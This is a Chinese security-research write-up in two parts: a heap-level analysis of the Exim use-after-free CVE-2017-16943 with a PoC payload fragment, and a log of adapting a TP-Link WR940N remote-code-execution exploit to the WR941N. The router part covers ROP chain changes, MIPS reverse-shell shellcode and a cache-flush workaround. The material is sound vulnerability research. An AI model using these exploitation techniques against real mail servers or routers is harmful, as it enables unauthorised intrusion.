函数中有一个string_printing
函数,位于src/string.c代码中:1<ol class="linenums"><li class="L0"><code><span class="kwd">const</span><span class="pln"> uschar </span><span class="pun">*</span></code></li><li class="L1"><code><span class="pln">string_printing2</span><span class="pun">(</span><span class="kwd">const</span><span class="pln"> uschar </span><span class="pun">*</span><span class="pln">s</span><span class="pun">,</span><span class="pln"> BOOL allow_tab</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pun">{</span></code></li><li class="L3"><code><span class="kwd">int</span><span class="pln"> nonprintcount </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L4"><code><span class="kwd">int</span><span class="pln"> length </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L5"><code><span class="kwd">const</span><span class="pln"> uschar </span><span class="pun">*</span><span class="pln">t </span><span class="pun">=</span><span class="pln"> s</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln">uschar </span><span class="pun">*</span><span class="pln">ss</span><span class="pun">,</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">;</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="kwd">while</span><span class="pln"> </span><span class="pun">(*</span><span class="pln">t </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> c </span><span class="pun">=</span><span class="pln"> </span><span class="pun">*</span><span class="pln">t</span><span class="pun">++;</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">mac_isprint</span><span class="pun">(</span><span class="pln">c</span><span class="pun">)</span><span class="pln"> </span><span class="pun">||</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">allow_tab </span><span class="pun">&&</span><span class="pln"> c </span><span class="pun">==</span><span class="pln"> </span><span class="str">'\t'</span><span class="pun">))</span><span class="pln"> nonprintcount</span><span class="pun">++;</span></code></li><li class="L2"><code><span class="pln"> length</span><span class="pun">++;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">nonprintcount </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> s</span><span class="pun">;</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="com">/* Get a new block of store guaranteed big enough to hold the</span></code></li><li class="L8"><code><span class="com">expanded string. */</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln">ss </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">length </span><span class="pun">+</span><span class="pln"> nonprintcount </span><span class="pun">*</span><span class="pln"> </span><span class="lit">3</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">1</span><span class="pun">);</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="com">/* Copy everything, escaping non printers. */</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln">t </span><span class="pun">=</span><span class="pln"> s</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln">tt </span><span class="pun">=</span><span class="pln"> ss</span><span class="pun">;</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="kwd">while</span><span class="pln"> </span><span class="pun">(*</span><span class="pln">t </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> c </span><span class="pun">=</span><span class="pln"> </span><span class="pun">*</span><span class="pln">t</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">mac_isprint</span><span class="pun">(</span><span class="pln">c</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">allow_tab </span><span class="pun">||</span><span class="pln"> c </span><span class="pun">!=</span><span class="pln"> </span><span class="str">'\t'</span><span class="pun">))</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="pun">*</span><span class="pln">t</span><span class="pun">++;</span><span class="pln"> </span><span class="kwd">else</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'\\'</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">switch</span><span class="pln"> </span><span class="pun">(*</span><span class="pln">t</span><span class="pun">)</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> </span><span class="str">'\n'</span><span class="pun">:</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'n'</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> </span><span class="str">'\r'</span><span class="pun">:</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'r'</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> </span><span class="str">'\b'</span><span class="pun">:</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'b'</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> </span><span class="str">'\v'</span><span class="pun">:</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'v'</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> </span><span class="str">'\f'</span><span class="pun">:</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'f'</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> </span><span class="str">'\t'</span><span class="pun">:</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'t'</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">default</span><span class="pun">:</span><span class="pln"> sprintf</span><span class="pun">(</span><span class="pln">CS tt</span><span class="pun">,</span><span class="pln"> </span><span class="str">"%03o"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">*</span><span class="pln">t</span><span class="pun">);</span><span class="pln"> tt </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">3</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L3"><code><span class="pln"> t</span><span class="pun">++;</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L6"><code><span class="pun">*</span><span class="pln">tt </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L7"><code><span class="kwd">return</span><span class="pln"> ss</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pun">}</span></code></li></ol>在
string_printing2
函数中,用到store_get
, 长度为length + nonprintcount * 3 + 1
,比如BDAT \x7F
这句命令,就是6+1*3+1 => 0x0a
,我们继续跟踪store中的全局变量,因为0xa < yield_length
,所以直接使用的Exim的堆分配,不会用到malloc,只有当上一次malloc 0x2000的内存用完或不够用时,才会再进行malloc- 0xa 对齐-> 0x10
- return next_yield = heap1+0x110
- next_yield = heap1+0x120
- yield_length = 0x1f00 - 0x10 = 0x1ef0
最后一步,就是PoC中的发送大量数据去触发UAF:
1<ol class="linenums"><li class="L0"><code><span class="pln">s </span><span class="pun">=</span><span class="pln"> </span><span class="str">'a'</span><span class="pun">*</span><span class="lit">6</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> p64</span><span class="pun">(</span><span class="lit">0xdeadbeef</span><span class="pun">)*(</span><span class="lit">0x1e00</span><span class="pun">/</span><span class="lit">8</span><span class="pun">)</span></code></li><li class="L1"><code><span class="pln">r</span><span class="pun">.</span><span class="pln">send</span><span class="pun">(</span><span class="pln">s</span><span class="pun">+</span><span class="pln"> </span><span class="str">':\r\n'</span><span class="pun">)</span></code></li></ol>再回到
receive.c
文件中,读取用户输入的是1788行的循环,然后根据meh所说,UAF的触发点是下面这几行代码:1<ol class="linenums"><li class="L0"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ptr </span><span class="pun">>=</span><span class="pln"> header_size </span><span class="pun">-</span><span class="pln"> </span><span class="lit">4</span><span class="pun">)</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> oldsize </span><span class="pun">=</span><span class="pln"> header_size</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="com">/* header_size += 256; */</span></code></li><li class="L4"><code><span class="pln"> header_size </span><span class="pun">*=</span><span class="pln"> </span><span class="lit">2</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">store_extend</span><span class="pun">(</span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">,</span><span class="pln"> oldsize</span><span class="pun">,</span><span class="pln"> header_size</span><span class="pun">))</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln"> uschar </span><span class="pun">*</span><span class="pln">newtext </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">header_size</span><span class="pun">);</span></code></li><li class="L8"><code><span class="pln"> memcpy</span><span class="pun">(</span><span class="pln">newtext</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">,</span><span class="pln"> ptr</span><span class="pun">);</span></code></li><li class="L9"><code><span class="pln"> store_release</span><span class="pun">(</span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">);</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text </span><span class="pun">=</span><span class="pln"> newtext</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">}</span></code></li></ol>当输入的数据大于等于
0x100-4
时,会触发store_extend
函数,next->text
的值上面提了,是heap1+0x10
,oldsize=0x100, header_size = 0x100*2 = 0x200
然后在
store_extend
中,有这几行判断代码:1<ol class="linenums"><li class="L0"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">CS ptr </span><span class="pun">+</span><span class="pln"> rounded_oldsize </span><span class="pun">!=</span><span class="pln"> CS </span><span class="pun">(</span><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span><span class="pln"> </span><span class="pun">||</span></code></li><li class="L1"><code><span class="pln"> inc </span><span class="pun">></span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> rounded_oldsize </span><span class="pun">-</span><span class="pln"> oldsize</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> FALSE</span><span class="pun">;</span></code></li></ol>其中
next_yield = heap1+0x120
,ptr + 0x100 = heap1+0x110
因为判断的条件为true,所以
store_extend
返回False这是因为在之前
string_printing
函数中中分配了一段内存,所以在receive_msg
中导致堆不平衡了,随后进入分支会修补这种不平衡,执行
store_get(0x200)
- return next_yield = heap1+0x120
- next_yield = heap1+0x320
- yield_length = 0x1ef0 - 0x200 = 0x1cf0
然后把用户输入的数据复制到新的堆中
随后执行
store_release
函数,问题就在这里了,之前申请的0x2000的堆还剩0x1cf0,并没有用完,但是却对其执行glibc的free操作,但是之后这个free后的堆却仍然可以使用,这就是我们所知的UAF, 释放后重用漏洞1<ol class="linenums"><li class="L0"><code><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun">=</span><span class="pln"> chainbase</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">];</span><span class="pln"> b </span><span class="pun">!=</span><span class="pln"> NULL</span><span class="pun">;</span><span class="pln"> b </span><span class="pun">=</span><span class="pln"> b</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">)</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln"> storeblock </span><span class="pun">*</span><span class="pln">bb </span><span class="pun">=</span><span class="pln"> b</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">bb </span><span class="pun">!=</span><span class="pln"> NULL </span><span class="pun">&&</span><span class="pln"> CS block </span><span class="pun">==</span><span class="pln"> CS bb </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">)</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code><span class="pln"> b</span><span class="pun">-></span><span class="kwd">next</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> bb</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">.......</span></code></li><li class="L7"><code><span class="pln"> free</span><span class="pun">(</span><span class="pln">bb</span><span class="pun">);</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">return</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">}</span></code></li></ol>其中,
bb = chainbase->next = heap1
, 而且next->text == bb + 0x10
所以能成功执行
free(bb)
因为输入了大量的数据,所以随后还会执行:
- store_extend(next->text, 0x200, 0x400)
- store_extend(next->text, 0x400, 0x800)
- store_extend(next->text, 0x800, 0x1000)
但是这些都不能满足判断:
if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) || inc > yield_length[store_pool] + rounded_oldsize - oldsize)
所以都是返回true,不会进入到下面分支
但是到
store_extend(next->text, 0x1000, 0x2000)
的时候,因为满足了第二个判断0x2000-0x1000 > yield_length[store_pool]
, 所以又一次返回了False所以再一次进入分支,调用
store_get(0x2000)
因为
0x2000 > yield_length
所以进入该分支:1<ol class="linenums"><li class="L0"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">size </span><span class="pun">></span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> length </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">size </span><span class="pun"><=</span><span class="pln"> STORE_BLOCK_SIZE</span><span class="pun">)?</span><span class="pln"> STORE_BLOCK_SIZE </span><span class="pun">:</span><span class="pln"> size</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> mlength </span><span class="pun">=</span><span class="pln"> length </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> storeblock </span><span class="pun">*</span><span class="pln"> newblock </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln"> </span><span class="pun">(</span><span class="pln">newblock </span><span class="pun">=</span><span class="pln"> current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">newblock </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">)</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">&&</span><span class="pln"> newblock</span><span class="pun">-></span><span class="pln">length </span><span class="pun"><</span><span class="pln"> length</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">)</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L1"><code><span class="pln"> </span><span class="com">/* Give up on this block, because it's too small */</span></code></li><li class="L2"><code><span class="pln"> store_free</span><span class="pun">(</span><span class="pln">newblock</span><span class="pun">);</span></code></li><li class="L3"><code><span class="pln"> newblock </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">newblock</span><span class="pun">)</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code><span class="pln"> pool_malloc </span><span class="pun">+=</span><span class="pln"> mlength</span><span class="pun">;</span><span class="pln"> </span><span class="com">/* Used in pools */</span></code></li><li class="L9"><code><span class="pln"> nonpool_malloc </span><span class="pun">-=</span><span class="pln"> mlength</span><span class="pun">;</span><span class="pln"> </span><span class="com">/* Exclude from overall total */</span></code></li><li class="L0"><code><span class="pln"> newblock </span><span class="pun">=</span><span class="pln"> store_malloc</span><span class="pun">(</span><span class="pln">mlength</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln"> newblock</span><span class="pun">-></span><span class="kwd">next</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> newblock</span><span class="pun">-></span><span class="pln">length </span><span class="pun">=</span><span class="pln"> length</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">chainbase</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span></code></li><li class="L4"><code><span class="pln"> chainbase</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln"> </span><span class="kwd">else</span></code></li><li class="L6"><code><span class="pln"> current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]-></span><span class="kwd">next</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="pln"> current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">-></span><span class="pln">length</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*)(</span><span class="pln">CS current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">);</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> VALGRIND_MAKE_MEM_NOACCESS</span><span class="pun">(</span><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">],</span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]);</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">}</span></code></li></ol>这里就是该漏洞的关键利用点
首先:
newblock = current_block = heap1
然后:
newblock = newblock->next
我猜测的meh的情况和我加了
printf
进行测试的情况是一样的,在printf
中需要malloc一块堆用来当做缓冲区,所以在heap1下面又多了一块堆,在free了heap1后,heap1被放入了unsortbin,fd和bk指向了arena所以这个时候,
heap1->next = fd = arena_top
之后的流程就是:
- current_block = arena_top
- next_yield = arena_top+0x10
- return next_yield = arena_top+0x10
- next_yield = arena_top+0x2010
在执行完
store_get
后就是执行memcpy
:1<ol class="linenums"><li class="L0"><code><span class="pln">memcpy</span><span class="pun">(</span><span class="pln">newtext</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">,</span><span class="pln"> ptr</span><span class="pun">);</span></code></li></ol>上面的
newtext
就是store_get
返回的值arena_top+0x10
把用户输入的数据copy到了arena中,最后达到了控制
RIP=0xdeadbeef
造成crash的效果但是实际情况就不一样了,因为没有printf,所以heap1是最后一块堆,再free之后,就会合并到top_chunk中,fd和bk字段不会被修改,在释放前,这两个字段也是用来储存storeblock结构体的next和length,所以也是没法控制的
总结
CVE-2017-16943的确是一个UAF漏洞,但是在我的研究中却发现没法利用meh提供的PoC造成crash的效果
之后我也尝试其他利用方法,但是却没找到合适的利用链
发现由于Exim自己实现了一个堆管理,所以在heap1之后利用
store_get
再malloc一块堆是不行的因为current_block也会被修改为指向最新的堆块,所以必须要能在不使用store_get
的情况下,malloc一块堆,才能成功利用控制RIP,因为exim自己实现了堆管理,所以都是使用store_get
来获取内存,这样就只能找printf
这种有自己使用malloc的函数,但是我找到的这些函数再调用后都会退出receive_msg
函数的循环,所以没办法构造成一个利用链引用
-
TP-LINK WR941N路由器研究
作者:Hcamael@知道创宇404实验室
之前看到了一个CVE, CVE-2017-13772
是TP-Link WR940N后台的RCE, 手头上正好有一个TP-Link WR941N的设备,发现也存在相同的问题,但是
CVE-2017-13772
文章中给的EXP并不通用所以准备进行复现和exp的修改,折腾了将近4天,记录下过程和遇到的坑
第一次研究mips指令的RCE,之前只学了intel指令集的pwn,所以进度挺慢的
Day 1
第一天当然是配环境了,该路由器本身在默认情况下是不提供shell的,在@fenix帮助下获取到了路由器的shell,该款路由器上的busybox的命令比较少,curl, nc, wget这些命令都没有,只能用tftp进行数据传输,而且只有
/tmp
目录可写,路由器重启后,传上去的文件就没了,这些问题都可以通过刷固件解决,不过太麻烦了,只需要传上去一个gdbserver
就好了,能根据固件中的bin得知这是一个大端mips指令集的设备,gdbserver
也不用自己编译,直接下编译好的: https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver把
gdbserver.mipsbe
通过tftp上传到路由器的/tmp
目录下然后根据
cve-2017-13772
分析文章说的那样使用gdbserver attach httpd最新的一个进程,然后就可以进行远程gdb调试了Day 2
第二天准备开始调试,但是发现gdb的两个编译选项, 一个
--host
,表示gdb运行的环境,一般默认就是本机环境,还有一个--target
表示调试的目标环境,默认也是本机环境,所以一个64位ubuntu上默认的gdb只能调试64 elf程序。所以需要设置--target=mipsbel-linux
参数进行编译gdb,才能调试大端的mips程序。编译差不多编译了半天,准备改天搞一个8核的机器专门来编译程序….
编译成功后,就可以进行远程调试了,在路由器上执行:
1<ol class="linenums"><li class="L0"><code><span class="pun">></span><span class="pln"> </span><span class="str">/tmp/</span><span class="pln">gdbserver</span><span class="pun">.</span><span class="pln">mipsbe attach </span><span class="lit">0.0</span><span class="pun">.</span><span class="lit">0.0</span><span class="pun">:</span><span class="lit">12345</span><span class="pln"> pid</span></code></li></ol>然后使用编译好gdb进行调试:
1<ol class="linenums"><li class="L0"><code><span class="pln">$ gdb</span></code></li><li class="L1"><code><span class="pun">(</span><span class="pln">gdb</span><span class="pun">)</span><span class="pln"> target remote </span><span class="lit">192.168</span><span class="pun">.</span><span class="lit">1.1</span><span class="pun">:</span><span class="lit">12345</span></code></li></ol>但是失败了,又折腾了半天
Day 3
第三天才真正的开始调试程序,首先说说我第二天遇到的问题,问题是下了断点没用,原因比较傻逼,我下断点的地址是wr940n的地址,我把两个bin搞混了
然后根据
cve-2017-13772
分析文章中说的栈溢出的指令,在wr941n中也找到了该指令,而溢出情况也是一样,所以拿了wr940n的exp来打了一遍,结果当然是失败了。在wr940n的exp中,ROP是在
libuClibc-0.9.30.so
中找的,根据$ cat /proc/pid/maps
命令,发现wr941n路由器的基地址和文章中显示的wr940n路由器的是一样的,然后再比较libuClibc-0.9.30.so
文件的hash值,发现不同,所以要修改ROP地址。由于libc文件太大,用手找太累了,所以使用了那篇文章中的ida的mipsrop插件,这里又踩了一个坑,因为我用的是ida7.0,而这个插件只能在ida6.8(更低的没试过)版本使用。
修改了ROP后,再进行尝试exp,发现仍然失败,然后进行调试查看原因,跟踪ROP执行流,发现能成功跳转到栈上执行shellcode,但是shellcode和文章中的,文章中的shellcode开头有一个使用xor进行解密的过程,执行完之后的指令和文章中的不一样。所以准备自己写一个shellcode
Day 4
第四天就是开始写shellcod,首先给个mips指令和bin互转的网站:Online Assembler and Disassembler
然后说说写的过程中遇到的问题,该路由器输入是不接受
\x00
和\x20
,所以ROP不是在ELF中寻找而是去libc中寻找:libuClibc
基地址:0x2aae000
,httpd
基地址:0x00400000
如果在ELF中寻找ROP,则地址中总会有个
\x00
,所以ROP是在libc中寻找不存在\x00
和\x20
的地址。但是在shellcode中,这两个字符却很难避免,所以那篇文章中对shellcode进行了xor加密wr940n的exp使用的是一个bind shell的shellcode,而我改成了一个反弹shell的shellcode
然后就是最后遇到的一个大坑,使用gdb调试成功的一个反弹shell的shellcode,在实际测试中却失败了,使用gdb成功,直接打失败,因为这个问题折腾了挺长的时间
然后查阅资料,在看雪的一篇文章中找到了原因:
mips 的 exp 编写中还有一个问题就是 cache incoherency。MIPS CPUs 有两个独立的 cache:指令 cache 和数据 cache。指令和数据分别在两个不同的缓存中。当缓存满了,会触发 flush,将数据写回到主内存。攻击者的攻击 payload 通常会被应用当做数据来处理,存储在数据缓存中。当 payload 触发漏洞,劫持程序执行流程的时候,会去执行内存中的 shellcode。
如果数据缓存没有触发 flush 的话,shellcode 依然存储在缓存中,而没有写入主内存。这会导致程序执行了本该存储 shellcode 的地址处随机的代码,导致不可预知的后果。
最简单可靠的让缓存数据写入内存的方式是调用一个堵塞函数。比如 sleep(1) 或者其他类似的函数。sleep 的过程中,处理器会切换上下文让给其他正在执行的程序,缓存会自动执行 flush。
这个坑点在那篇文章中也提及了,但是没具体说明,如果没实际踩一踩,不一定能理解。但是讲道理,如果直接用wr940n的exp,修改下ROP地址和shellcode,应该是不会遇到这个坑的,但是我仍然遇到了,经过研究发现,是usleep的问题,猜测是由于堵塞的时间过短所以未执行flush?然后进行实际测试了一番,把usleep的时间修改为
18217
,同样没用,然后简单看了下两者的汇编,发现usleep只是简单的调用nanosleep,而sleep除了调用nanosleep还进行其他相关的操作,网上没搜到相关文章,因为精力有限,作为遗留问题,以后有时间的时候再继续研究。不过有几个猜测,
- 时间问题,usleep的单位是微秒,18217也只有10ms,是不是要睡到1s?因为找不到合适的ROP,所以暂时没法证明
- flush内存是靠sleep中的几个信号相关的函数?
所以最终我的做法是在wr940n的exp的ROP链中,调用的是usleep(0xc*2+1),但是我将usleep改成sleep => sleep(0xc*2+1),数据缓存被成功flush到主内存中,就能成功执行shellcode了
Shellcode编写
在本次研究中,最后时间的除了一开始的调试环境搭建外,就是shellcode的编写了,因为在那篇cve分析的文章中已经给出了wr940n的exp,ROP只需要修改修改地址就好了,所以工作量最大的还是在Shellcode的编写这一部分
首先是syscall部分,比如:
1<ol class="linenums"><li class="L0"><code><span class="pln">li $v0</span><span class="pun">,</span><span class="pln"> </span><span class="lit">4183</span></code></li><li class="L1"><code><span class="pln">syscall </span><span class="lit">0x40404</span></code></li><li class="L2"><code><span class="com"># sys_socket</span></code></li></ol>- mips采用的是RISC,32位系统下,指令固定采用4byte,syscall的字节码是
\x0c
,剩余的三字节默认用\x00
补全,但是因为路由器不接受\x00
的输入,所以在大端的情况下改成\x01\x01\x01\x0c
,进行反汇编,就是syscall 0x40404
系统调用的相关函数除了几个mips特有的,其他的都是跟linux下的syscall一样,可参考: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/unistd.h
比如
sys_socket
